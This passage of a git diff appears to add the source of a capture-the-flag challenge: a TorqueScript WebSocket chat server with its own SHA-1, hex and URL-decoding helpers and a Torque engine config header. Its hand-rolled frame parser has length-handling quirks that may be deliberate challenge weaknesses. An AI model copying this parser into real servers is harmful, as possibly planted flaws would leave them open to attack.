0; + + for (%i = 0; %i < 16; %i ++) { + %b0 = %byte[%chunk + %i * 4 + 0]; + %b1 = %byte[%chunk + %i * 4 + 1]; + %b2 = %byte[%chunk + %i * 4 + 2]; + %b3 = %byte[%chunk + %i * 4 + 3]; + %w[%i] = (%b0 << 24) | (%b1 << 16) | (%b2 << 8) | %b3; + } + + for (%i = 16; %i < 80; %i ++) { + %next = %w[%i - 3] ^ %w[%i - 8] ^ %w[%i - 14] ^ %w[%i - 16]; + %w[%i] = (%next << 1) | ((%next & 0x80000000) >> 31); + } + + for (%i = 0; %i < 80; %i ++) { + if (%i < 20) { + %f = (%b & %c) ^ ((~%b) & %d); + %k = 0x5A827999; + } else if (%i < 40) { + %f = %b ^ %c ^ %d; + %k = 0x6ED9EBA1; + } else if (%i < 60) { + %f = (%b & %c) ^ (%b & %d) ^ (%c & %d); + %k = 0x8F1BBCDC; + } else if (%i < 80) { + %f = %b ^ %c ^ %d; + %k = 0xCA62C1D6; + } + + %temp = (%a << 5) | ((%a & 0xF8000000) >> 27); + + // These are integer additions by the way + %carry = %temp & %f; + %result1 = %temp ^ %f; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result1 & %shiftedCarry; + %result1 = %result1 ^ %shiftedCarry; + } + %carry = %result1 & %e; + %result2 = %result1 ^ %e; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result2 & %shiftedCarry; + %result2 = %result2 ^ %shiftedCarry; + } + %carry = %result2 & %k; + %result3 = %result2 ^ %k; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result3 & %shiftedCarry; + %result3 = %result3 ^ %shiftedCarry; + } + %carry = %result3 & %w[%i]; + %result4 = %result3 ^ %w[%i]; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result4 & %shiftedCarry; + %result4 = %result4 ^ %shiftedCarry; + } + + %e = %d ^ 0; + %d = %c ^ 0; + %c = (%b << 30) | ((%b & 0xFFFFFFFC) >> 2); + %b = %a ^ 0; + %a = %result4 ^ 0; + } + + %carry = %h0 & %a; + %result = %h0 ^ %a; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result & %shiftedCarry; + %result = %result ^ %shiftedCarry; + } + %h0 = %result ^ 0; + + %carry = %h1 & %b; + %result = %h1 ^ %b; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result & %shiftedCarry; + %result = %result ^ %shiftedCarry; + } + %h1 = %result ^ 0; + + %carry = %h2 & %c; + %result = %h2 ^ %c; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result & %shiftedCarry; + %result = %result ^ %shiftedCarry; + } + %h2 = %result ^ 0; + + %carry = %h3 & %d; + %result = %h3 ^ %d; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result & %shiftedCarry; + %result = %result ^ %shiftedCarry; + } + %h3 = %result ^ 0; + + %carry = %h4 & %e; + %result = %h4 ^ %e; + while (%carry !$= "0") { + %shiftedCarry = %carry << 1; + %carry = %result & %shiftedCarry; + %result = %result ^ %shiftedCarry; + } + %h4 = %result ^ 0; + } + + return dec2hex(%h0 >> 16, 4) @ dec2hex(%h0 & 0xFFFF, 4) + @ dec2hex(%h1 >> 16, 4) @ dec2hex(%h1 & 0xFFFF, 4) + @ dec2hex(%h2 >> 16, 4) @ dec2hex(%h2 & 0xFFFF, 4) + @ dec2hex(%h3 >> 16, 4) @ dec2hex(%h3 & 0xFFFF, 4) + @ dec2hex(%h4 >> 16, 4) @ dec2hex(%h4 & 0xFFFF, 4); +} diff --git a/chattge/chal/chattge/torqueConfig.h b/chattge/chal/chattge/torqueConfig.h new file mode 100644 index 0000000..315df1d --- /dev/null +++ b/chattge/chal/chattge/torqueConfig.h @@ -0,0 +1,289 @@ +//----------------------------------------------------------------------------- +// Torque Game Engine +// Copyright (C) GarageGames.com, Inc. +//----------------------------------------------------------------------------- + +#ifndef _TORQUECONFIG_H_ +#define _TORQUECONFIG_H_ + +//----------------------------------------------------------------------------- +//Hi, and welcome to the Torque Config file. +// +//This file is a central reference for the various configuration flags that +//you'll be using when controlling what sort of a Torque build you have. In +//general, the information here is global for your entire codebase, applying +//not only to your game proper, but also to all of your tools. +// +//This file also contains information which is used for various other needs, +//for instance, defines indicating what engine we're building, or what version +//we're at. + +/// Version number is major * 1000 + minor * 100 + revision * 10. +/// Different engines (TGE, T2D, etc.) will have different version numbers. +#define TORQUE_VERSION 900 // version 0.9 + +/// What engine are we running? The presence and value of this define are +/// used to determine what engine (TGE, T2D, etc.) and version thereof we're +/// running - useful if you're a content pack or other 3rd party code +/// snippet! +/// +//#define TORQUE_GAME_ENGINE TORQUE_VERSION // we are not TGE, so this isn't defined +#define TORQUE_SHADER_ENGINE TORQUE_VERSION + +/// What's the name of your game? Used in a variety of places. +#define TORQUE_GAME_NAME "Torque Shader Engine Demo" + +/// Human readable version string. +#define TORQUE_GAME_VERSION_STRING "Torque Demo 1.4 (TGE 1.4)" + +/// Define me if you want to enable multithreading support. +// #define TORQUE_MULTITHREAD + +/// Define me to enable unicode support. +//#define TORQUE_UNICODE + +/// Define me to enable Torque HiFi support +#define TORQUE_HIFI_NET + +/// Define me to enable Torque Hole Punching support +//#define TORQUE_NET_HOLEPUNCHING + +/// Define me to enable shader caching support (Unfinished and really only needed for some versions of Wine or Proton) +//#define TORQUE_SHADER_CACHING + +/// Define me to enable torque terrain +//#define TORQUE_TERRAIN + +//----------------------------------------------------------------------------- +// Marble Blast related configuration defines + +// Define me to enable MarbleBlast features +#define MARBLE_BLAST + +// Define me to enable MarbleBlastUltra specific features +//#define MB_ULTRA + +// Define me to enable MarbleBlastGold specific features +//#define MB_GOLD + +// If Ultra is not defined, define Gold +#if defined(MARBLE_BLAST) && !defined(MB_ULTRA) && !defined(MB_GOLD) +#define MB_ULTRA +#endif + +// Define me to allow switching physics systems in script +//#define MB_PHYSICS_SWITCHABLE + +// Define me to use MBO physics (does nothing if MB_PHYSICS_SWITCHABLE is defined) +//#define MBO_PHYSICS + +// Define me to use MBG physics +//#define MBG_PHYSICS + +// Define me to use a framerate-independent finish pad animation +#define MBU_FINISH_PAD_FIX + +// TEMP: Define me for a temporary fix for moving platform jitter +#define MBU_TEMP_MP_DESYNC_FIX + +//#define EXPERIMENTAL_MP_LAG_FIX + +// Re-order the sky rendering like MBO does (WIP) +//#define MB_FLIP_SKY + +// Define me to enable MarbleBlastUltra Preview System +#define MB_ULTRA_PREVIEWS + +// Define me to enable xblive functions +#define XB_LIVE + +// Define me to use MBG Moving Platform Timing +//#define MBG_MOVING_PLATFORM_TIMING + +// Define me to allow phasing into platforms (MBG does this, and MBU did before the title update) +//#define MB_PHYSICS_PHASE_INTO_PLATFORMS + +// Define me to fix the shape base images for MBG +//#define MBG_SHAPEBASEFIX + +// Define me to not render all six faces of marble cubemap in a single frame +#define MB_CUBEMAP_FAST + +//----------------------------------------------------------------------------- +// Here we specify the build configuration defines. These are usually +// defined by the build system (makefiles, visual studio, etc) and not +// in this file. + +/// Define me to enable debug mode; enables a great number of additional +/// sanity checks, as well as making AssertFatal and AssertWarn do something. +/// This is usually defined by the build system. +//#define TORQUE_DEBUG + +/// Define me if this is a shipping build; if defined I will instruct Torque +/// to batten down some hatches and generally be more "final game" oriented. +/// Notably this disables a liberal resource manager file searching, and +/// console help strings. +/// This is usually defined by the build system. +#define TORQUE_SHIPPING + +//----------------------------------------------------------------------------- +// Here we specify various optional configuration defines. If you define +// them in this section, they will be enabled for all build configurations. +// Thus it may be preferable to enable them only in the configuration specific +// sections below (TORQUE_DEBUG, TORQUE_SHIPPING, etc) + +// Define me if you want to warn during void assignment in script +//#define CONSOLE_WARN_VOID_ASSIGNMENT + +/// Define me if you want asserts. This is automatically enabled if you +/// define TORQUE_DEBUG. However it may be useful to enable it for +/// your optimized non-ship configuration (where TORQUE_DEBUG is +/// typically not defined). +//#define TORQUE_ENABLE_ASSERTS + +/// Define me if you want to enable the profiler. +/// See also the TORQUE_SHIPPING block below +#define TORQUE_ENABLE_PROFILER + +/// Define me if you want the memory manager to hook into the profiler stack +/// so that you can see where particular allocations come from when +/// debugging memory leaks. This information is provided when you use the +/// dumpUnflaggedAllocs() function of the memory manager. +#define TORQUE_ENABLE_PROFILE_PATH + +/// Define me to enable a variety of network debugging aids. +//#define TORQUE_DEBUG_NET + +/// Define me to enable a variety of network move packet debugging aids. +//#define TORQUE_DEBUG_NET_MOVES + +/// Define me to enable network bandwidth tracking at the ConsoleObject level. +//#define TORQUE_NET_STATS + +/// Modify me to enable metric gathering code in the renderers. +/// +/// 0 does nothing; higher numbers enable higher levels of metric gathering. +//#define TORQUE_GATHER_METRICS 0 + +/// Define me to disable the Torque Memory Manager. Memory allocations will +/// be handled directly by the system. This is useful if you want to +/// minimize your memory footprint, since the TMM never frees pages that +/// it allocates. It is also useful for debugging, since if you write +/// into memory that is owned by the system, you generally crash immediately +/// (whereas with the TMM enabled, you are writing into Torque's process +/// memory so the system might not crash at all, unless you happen to write +/// over a memory header and TORQUE_DEBUG_GUARD is enabled, see below). +/// +/// However, there can be a performance hit when not using the memory manager, +/// because Torque objects often continuously allocate and free bits of memory +/// every frame. Some system allocators (i.e. Xbox1) do not deal with this +/// usage very well, leading to a cumulative framerate decrease. +/// +/// When the TMM is off, its tools for detecting memory leaks are not +/// available. +#define TORQUE_DISABLE_MEMORY_MANAGER + +/// Define me if you want to enable debug guards in the memory manager. +/// +/// Debug guards are known values placed before and after every block of +/// allocated memory. They are checked periodically by Memory::validate(), +/// and if they are modified (indicating an access to memory the app doesn't +/// "own"), an error is flagged (ie, you'll see a crash in the memory +/// manager's validate code). Using this and a debugger, you can track down +/// memory corruption issues quickly. +/// +/// Debug guard requires the Torque Memory manager. +//#define TORQUE_DEBUG_GUARD + +/// Define to enable multiple binds per console function in an actionmap. +/// With this, you can bind multiple keys to the same "jump()" function +/// for instance. Without it, you need to declare multiple jump functions +/// that do the same thing and bind them separately (this is the Torque +/// default). +#define TORQUE_ALLOW_MULTIPLE_ACTIONMAP_BINDS + +/// Define me to disable the password on the telnet console. Only applies in +/// non-ship builds. Use for situations where you are using the telnet console +/// a lot and don't like typing the password over and over and OVER (i.e. xbox) +//#define TORQUE_DISABLE_TELNET_CONSOLE_PASSWORD + +/// Define to disable Ogg Vorbis audio support. Libs are compiled without this by +/// default. +//#define TORQUE_NO_OGGVORBIS + +/// This #define is used by the FrameAllocator to align starting addresses to +/// be byte aligned to this value. This is important on the 360 and possibly +/// on other platforms as well. Use this #define anywhere alignment is needed. +/// +/// NOTE: Do not change this value per-platform unless you have a very good +/// reason for doing so. It has the potential to cause inconsistencies in +/// memory which is allocated and expected to be contiguous. +/// +///@ TODO: Make sure that everywhere this should be used, it is being used. +#define TORQUE_BYTE_ALIGNMENT 4 + +/// This #define is used by the FrameAllocator to set the size of the frame. +/// +/// It was previously set to 3MB but I've increased it to 16MB due to the +/// FrameAllocator being used as temporary storage for bitmaps in the D3D9 +/// texture manager. +#define TORQUE_FRAME_SIZE 16 << 20 + +/// Define if you want nVIDIA's NVPerfHUD to work with TSE +#define TORQUE_NVPERFHUD + +/// Define to disable DSO file generation. Note that existing DSOs will still be +// used by the engine. Script files will load a bit more slowly because they need +// to be compiled each time. +// #define TORQUE_NO_DSO_GENERATION + +// Used to check internal GFX state, D3D/OGL states, etc. +//#define TORQUE_DEBUG_RENDER + +// If this is defined, and a material is not found, it will be created +//#define CREATE_MISSING_MATERIALS + +// Enable ShaderGen +#define TORQUE_SHADERGEN +// Enable ShaderGen +#define TORQUE_SHADERGEN + +// Use legacy font shadow rendering +//#define MBG_FONT_SHADOW_RENDERING + +//----------------------------------------------------------------------------- +// Finally, we define some dependent #defines for the various build +// configurations. This enables some subsidiary functionality to get +// automatically turned on in certain configurations. + +#ifdef TORQUE_DEBUG +# define TORQUE_GATHER_METRICS 0 +# define TORQUE_ENABLE_PROFILER +# define TORQUE_ENABLE_PROFILE_PATH +# define TORQUE_DEBUG_GUARD +#endif + +#ifdef TORQUE_RELEASE + // If it's not DEBUG, it's a RELEASE build, put appropriate things here. +#endif + +#ifdef TORQUE_SHIPPING + // TORQUE_SHIPPING flags here. +#else + // enable the profiler by default, if we're not doing a shipping build +# define TORQUE_ENABLE_PROFILER +#endif + +#ifdef TORQUE_LIB +#ifndef TORQUE_NO_OGGVORBIS +#define TORQUE_NO_OGGVORBIS +#endif +#endif + +// This define is for the shader constant include string +#define SHADER_CONSTANT_INCLUDE_FILE "../../game/shaders/shdrConsts.h" + +// Someday, it might make sense to do some pragma magic here so we error +// on inconsistent flags. + +#endif diff --git a/chattge/chal/chattge/utils.cs b/chattge/chal/chattge/utils.cs new file mode 100644 index 0000000..0bc1124 --- /dev/null +++ b/chattge/chal/chattge/utils.cs @@ -0,0 +1,164 @@ +//----------------------------------------------------------------------------- +// Utility Functions +//----------------------------------------------------------------------------- + +autoreload($Con::File); + +function dec2hex(%val, %pad) { + if (%pad $= "") + %pad = 1; + %digits = "0123456789ABCDEF"; + %result = ""; + while (%val !$= "0") { + %digit = getSubStr(%digits, %val & 0xF, 1); + %result = %digit @ %result; + %val = %val >> 4; + } + + while (strlen(%result) < %pad) + %result = "0" @ %result; + return %result; +} + +function hex2dec(%val) { + %digits = "0123456789ABCDEF"; + %result = 0; + while (%val !$= "") { + %result <<= 4; + %digit = getSubStr(%val, 0, 1); + %result |= strPos(%digits, %digit); + %val = getSubStr(%val, 1, strlen(%val)); + } + return %result; +} + +// http://www.garagegames.com/community/blogs/view/10202 +// RIP garagegames.com +function URLDecode(%rawString) { + // Encode strings from HTTP safe for URL use + + // If the string we are encoding has text... start encoding + if (strlen(%rawString) > 0) { + // Loop through each character in the string + for (%i = 0; %i < strlen(%rawString); %i ++) { + // Grab the character at our current index location + %chrTemp = getSubStr(%rawString, %i, 1); + + if (%chrTemp $= "+") { + // Was it a "+" symbol? Change it to a space + %chrTemp = " "; + } + // If the character was not valid for an HTTP URL... Decode it + if (%chrTemp $= "%") { + //Get the dec value for the character + %chrTemp = chr(hex2dec(getSubStr(%rawString, %i + 1, 2))); + %i += 2; + } + // Build our encoded string + %encodeString = %encodeString @ %chrTemp; + } + } + // Return the encoded string value + return %encodeString; +} + +// With regards to spy47 +function devecho(%text) { + if ($devmode) { + %blockSize = 1024; + for (%j = 0; %j < strlen(%text); %j += %blockSize) { + echo(getSubStr(%text, %j, %blockSize)); + } + } +} + +function longstringify(%value) { + %result = ""; + %blockSize = 1000; + for (%j = 0; %j < strlen(%value); %j += %blockSize) { + if (%j > 0) { + %result = %result @ "@"; + } + // Get bent, Torque lexer + %result = %result @ "\"" @ expandEscape( + getSubStr(%value, %j, %blockSize)) @ "\""; + } + if (%result $= "") { + return "\"\""; + } + return %result; +} + +//----------------------------------------------------------------------------- +// Goddamnit +//----------------------------------------------------------------------------- + +deactivatePackage(FixExpandEscape); +package FixExpandEscape { + function expandEscape(%str) { + %result = ""; + + // This char, and only this char, does not expand properly + %pos = strpos(%str, "\xFF"); + while (%pos != -1) { + %result = %result @ Parent::expandEscape(getSubStr(%str, 0, %pos)) + @ "\\xFF"; + %str = getSubStr(%str, %pos + 1, strlen(%str)); + %pos = strpos(%str, "\xFF"); + } + %result = %result @ Parent::expandEscape(%str); + + return %result; + } +}; +activatePackage(FixExpandEscape); + +// Master crafted high performance shit that should have been built-in + +// int -> char +function chr(%i) { + if (%i == 0) { + error("Cannot chr(0)!"); + return ""; + } + return getSubStr( + " \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" + @ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" + @ "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" + @ "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" + @ "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" + @ "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" + @ "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" + @ "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" + @ "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" + @ "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" + @ "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" + @ "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" + @ "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" + @ "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" + @ "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" + @ "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff", + %i, 1); +} + +// char -> int +function ord(%ch) { + return strpos( + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" + @ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" + @ "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" + @ "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" + @ "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" + @ "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" + @ "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" + @ "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" + @ "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" + @ "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" + @ "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" + @ "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" + @ "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" + @ "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" + @ "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" + @ "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff", + %ch) + 1; +} diff --git a/chattge/chal/chattge/websocket.cs b/chattge/chal/chattge/websocket.cs new file mode 100644 index 0000000..a1ca82f --- /dev/null +++ b/chattge/chal/chattge/websocket.cs @@ -0,0 +1,665 @@ +//----------------------------------------------------------------------------- +// TCPObject WebSocket Server! +// It's back, baby! +// glenns +// +// "what a strange question...not sure why you'd ask that? but, 8" -fuzyll +//----------------------------------------------------------------------------- + +autoreload($Con::File); + +//----------------------------------------------------------------------------- +// Constants +//----------------------------------------------------------------------------- + +$HTTP::ResponseCode[100] = "Continue"; +$HTTP::ResponseCode[101] = "Switching Protocols"; +$HTTP::ResponseCode[200] = "OK"; +$HTTP::ResponseCode[201] = "Created"; +$HTTP::ResponseCode[202] = "Accepted"; +$HTTP::ResponseCode[203] = "Non-Authoritative Information"; +$HTTP::ResponseCode[204] = "No Content"; +$HTTP::ResponseCode[205] = "Reset Content"; +$HTTP::ResponseCode[206] = "Partial Content"; +$HTTP::ResponseCode[300] = "Multiple Choices"; +$HTTP::ResponseCode[301] = "Moved Permanently"; +$HTTP::ResponseCode[302] = "Found"; +$HTTP::ResponseCode[303] = "See Other"; +$HTTP::ResponseCode[304] = "Not Modified"; +$HTTP::ResponseCode[305] = "Use Proxy"; +$HTTP::ResponseCode[307] = "Temporary Redirect"; +$HTTP::ResponseCode[400] = "Bad Request"; +$HTTP::ResponseCode[401] = "Unauthorized"; +$HTTP::ResponseCode[402] = "Payment Required"; +$HTTP::ResponseCode[403] = "Forbidden"; +$HTTP::ResponseCode[404] = "Not Found"; +$HTTP::ResponseCode[405] = "Method Not Allowed"; +$HTTP::ResponseCode[406] = "Not Acceptable"; +$HTTP::ResponseCode[407] = "Proxy Authentication Required"; +$HTTP::ResponseCode[408] = "Request Timeout"; +$HTTP::ResponseCode[409] = "Conflict"; +$HTTP::ResponseCode[410] = "Gone"; +$HTTP::ResponseCode[411] = "Length Required"; +$HTTP::ResponseCode[412] = "Precondition Failed"; +$HTTP::ResponseCode[413] = "Request Entity Too Large"; +$HTTP::ResponseCode[414] = "Request-URI Too Long"; +$HTTP::ResponseCode[415] = "Unsupported Media Type"; +$HTTP::ResponseCode[416] = "Requested Range Not Satisfiable"; +$HTTP::ResponseCode[417] = "Expectation Failed"; +$HTCPCP::ResponseCode[418] = "I'm a teapot"; // RFC 2324 +$HTTP::ResponseCode[500] = "Internal Server Error"; +$HTTP::ResponseCode[501] = "Not Implemented"; +$HTTP::ResponseCode[502] = "Bad Gateway"; +$HTTP::ResponseCode[503] = "Service Unavailable"; +$HTTP::ResponseCode[504] = "Gateway Timeout"; +$HTTP::ResponseCode[505] = "HTTP Version Not Supported"; + +$WebSocket::Opcode["Continuation"] = 0; +$WebSocket::Opcode["Text"] = 1; +$WebSocket::Opcode["Binary"] = 2; +$WebSocket::Opcode["Close"] = 8; +$WebSocket::Opcode["Ping"] = 9; +$WebSocket::Opcode["Pong"] = 10; + +//----------------------------------------------------------------------------- +// Server +//----------------------------------------------------------------------------- + +function startWebSocketServer(%port, %hostName) { + new TCPObject(WebSocketServer); + echo("Starting WebSocket Server on " @ %port @ ":" @ %port + @ " with host name " @ %hostName); + WebSocketServer.hostName = %hostName; + WebSocketServer.port = %port; + WebSocketServer.listen(%port); + RootGroup.add(WebSocketServer.clients = new SimSet(WebSocketServerClients)); + // Torque is stupid in that ConsoleLogger doesn't create a file entry for + // the log it is writing, so we need to create one by hand. + %fo = new FileObject(); + %fo.openForWrite("chattge/websocket.log"); + %fo.close(); + %fo.delete(); +} + +function WebSocketServer::onConnectRequest(%this, %address, %fd) { + devecho("WebSocketServer::onConnectRequest(" @ %this @ ", " @ %address + @ ", " @ %fd @ ")"); + // Gotta admit I forgot constructors could have arguments... + // Quick scan of the engine source shows that literally only TCPObjects and + // ConsoleLoggers use constructor arguments. + %connection = new TCPObject(WebSocketServerClient, %fd); + %connection.server = %this; + %connection.address = %address; + %connection.init(); + WebSocketServer.clients.add(%connection); +} + +//----------------------------------------------------------------------------- +// Connection Management +//----------------------------------------------------------------------------- + +function WebSocketServerClient::init(%this) { + %this.state = "REQUEST"; + %this.uri = ""; + %this.headers = 0; + %this.requestLine = ""; + + for (%i = 0; %i < %this.receivedHeaders; %i ++) { + %this.receivedHeader[%this.receivedHeader[%i, "name"]] = ""; + %this.receivedHeader[%i, "name"] = ""; + %this.receivedHeader[%i, "value"] = ""; + } + %this.receivedHeaders = 0; + %this.addHeader("Server", getVersionString() @ + " ChatTGE/0.2 " @ $platform); +} + +function WebSocketServerClient::onLine(%this, %line) { + switch$ (%this.state) { + case "REQUEST": + devecho("WebSocketServerClient::onLine(" @ %this @ ", " @ %line @ ")"); + %this.requestLine = %line; + %this.state = "HEADER"; + case "HEADER": + devecho("WebSocketServerClient::onLine(" @ %this @ ", " @ %line @ ")"); + if (%line !$= "") { + %this.receivedHeader[%this.receivedHeaders] = %line; + %this.receivedHeaders ++; + } else { + %this.processHeaders(); + %this.upgrade(); + } + case "CONNECTED": + // Unmask and handle data + %this.connectedLine(%line @ "\n"); + } +} + +function WebSocketServerClient::upgrade(%this) { + if (%this.method !$= "GET") { + devecho("Not GET"); + %this.responseCode = 400; + %this.abort(); + return; + } + if (%this.receivedHeader["Host"] $= "") { + devecho("Missing Host"); + %this.responseCode = 400; + %this.abort(); + return; + } + if (%this.server.hostName !$= "" + && %this.receivedHeader["Host"] !$= %this.server.hostName) { + devecho("Bad Host"); + %this.responseCode = 404; + %this.abort(); + return; + } + if (%this.uri $= "/") { + %this.responseCode = 500; + + %conts = ""; + %file = new FileObject(); + if (%file.openForRead("chattge/index.html")) { + %this.responseCode = 200; + for (%line = %file.readLine(); !%file.isEOF(); + %line = %file.readLine()) { + %conts = %conts @ %line @ "\n"; + } + } + %file.delete(); + %this.addHeader("Content-Length", strlen(%conts)); + %this.addHeader("Connection", "Close"); + %this.sendHeaders(); + %this.send(%conts); + %this.init(); + return; + } + if (strpos(strlwr(%this.receivedHeader["Upgrade"]), "websocket") == -1) { + devecho("Missing/bad Upgrade"); + %this.responseCode = 400; + %this.abort(); + return; + } + if (strpos(strlwr(%this.receivedHeader["Connection"]), "upgrade") == -1) { + devecho("Missing/bad Connection"); + %this.responseCode = 400; + %this.abort(); + return; + } + if (%this.receivedHeader["Sec-WebSocket-Key"] $= "") { + devecho("Missing Sec-WebSocket-Key"); + %this.responseCode = 400; + %this.abort(); + return; + } + if (%this.receivedHeader["Sec-WebSocket-Version"] !$= "13") { + devecho("Missing/bad Sec-WebSocket-Version"); + %this.responseCode = 400; + %this.abort(); + return; + } + + // Prepare opening handshake + %this.responseCode = 101; + + %this.addHeader("Upgrade", "websocket"); + %this.addHeader("Connection", "Upgrade"); + %this.addHeader("WebSocket-Origin", %this.receivedHeader["Host"]); + %this.addHeader("WebSocket-Location", "ws://" @ %this.receivedHeader["Host"] + @ ":" @ %this.port @ %this.uri); + %this.addHeader("Sec-WebSocket-Accept", + b64encode(sha1(%this.receivedHeader["Sec-WebSocket-Key"] + @ "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))); + // No Sec-WebSocket-Protocol + // No Sec-WebSocket-Extensions + + %this.sendHeaders(); + %this.state = "CONNECTED"; + + %this.sendHeartbeat(); + + %this.wrapOutput("Chat::onConnect", %this); +} + +//----------------------------------------------------------------------------- +// Data Transfer +//----------------------------------------------------------------------------- + +function WebSocketServerClient::sendHeaders(%this) { + if ($HTTP::ResponseCode[%this.responseCode] $= "") { + %this.responseCode = 405; + } + + %message = "HTTP/1.1" SPC %this.responseCode SPC + $HTTP::ResponseCode[%this.responseCode]; + for (%i = 0; %i < %this.headers; %i ++) { + %message = %message @ "\r\n" @ %this.header[%i, "name"] @ ":" SPC + %this.header[%i, "value"]; + } + %message = %message @ "\r\n"; + %message = %message @ "\r\n"; + %r = %this.send(%message); + if (%r < 0) { + // TODO: Handle + error("Send error: " @ %r); + } +} + +function WebSocketServerClient::connectedLine(%this, %line) { + %this.buffer = %this.buffer @ %line; + %this.bufferLen += strlen(%line); + + %frame = %this.parseFrame(); + while (isObject(%frame)) { + %this.onFrame(%frame); + %frame.delete(); + %frame = %this.parseFrame(); + } +} + +function WebSocketServerClient::parseFrame(%this) { + %pos = 0; + if (%this.bufferLen <= %pos) return ""; + %b0 = ord(getSubStr(%this.buffer, %pos, 1)); %pos ++; + if (%this.bufferLen <= %pos) return ""; + %b1 = ord(getSubStr(%this.buffer, %pos, 1)); %pos ++; + if (%this.bufferLen <= %pos) return ""; + + %fin = (%b0 & 0x80) == 0x80; + %opcode = %b0 & 0xF; + %mask = (%b1 & 0x80) == 0x80; + %length = (%b1 & 0x7F); + if (%length == 126) { + %length = (ord(getSubStr(%this.buffer, %pos, 1)) << 8) + | ord(getSubStr(%this.buffer, 3, 1)); + %pos += 2; + if (%this.bufferLen <= %pos) return ""; + } else if (%length == 127) { + %length = (ord(getSubStr(%this.buffer, %pos + 4, 1)) << 24) + | (ord(getSubStr(%this.buffer, %pos + 5, 1)) << 16) + | (ord(getSubStr(%this.buffer, %pos + 6, 1)) << 8) + | (ord(getSubStr(%this.buffer, %pos + 7, 1)) << 0); + %pos += 8; + if (%this.bufferLen <= %pos) return ""; + } + // LOL floats + if (getSubStr(%length, 0, 1) $= "-") { + %this.close(1011, "Null byte detected"); + return ""; + } + if (%mask) { + %key = getSubStr(%this.buffer, %pos, 4); %pos += 4; + if (%this.bufferLen <= %pos) return ""; + } else { + %key = ""; + } + %buffer = getSubStr(%this.buffer, %pos, %length); + %pos += %length; + if (%this.bufferLen <= %pos) return ""; + + %this.buffer = getSubStr(%this.buffer, %pos, %this.bufferLen); + %this.bufferLen -= %pos; + + if (%mask) { + // Unmask buffer + %raw = ""; + %unmasked = ""; + for (%i = 0; %i < %length; %i ++) { + %raw = %raw @ dec2hex(ord(getSubStr(%buffer, %i, 1)), 2); + %ch = ord(getSubStr(%buffer, %i, 1)) + ^ ord(getSubStr(%key, %i % 4, 1)); + if (%ch == 0) { + // We've desynced real badly somewhere + %this.close(1011, "Null byte detected"); + return ""; + } + %unmasked = %unmasked @ chr(%ch); + } + %buffer = %unmasked; + } + + %frame = new ScriptObject() { + fin = %fin; + opcode = %opcode; + length = %length; + buffer = %buffer; + raw = %raw; + mask = %mask; + key = %key; + 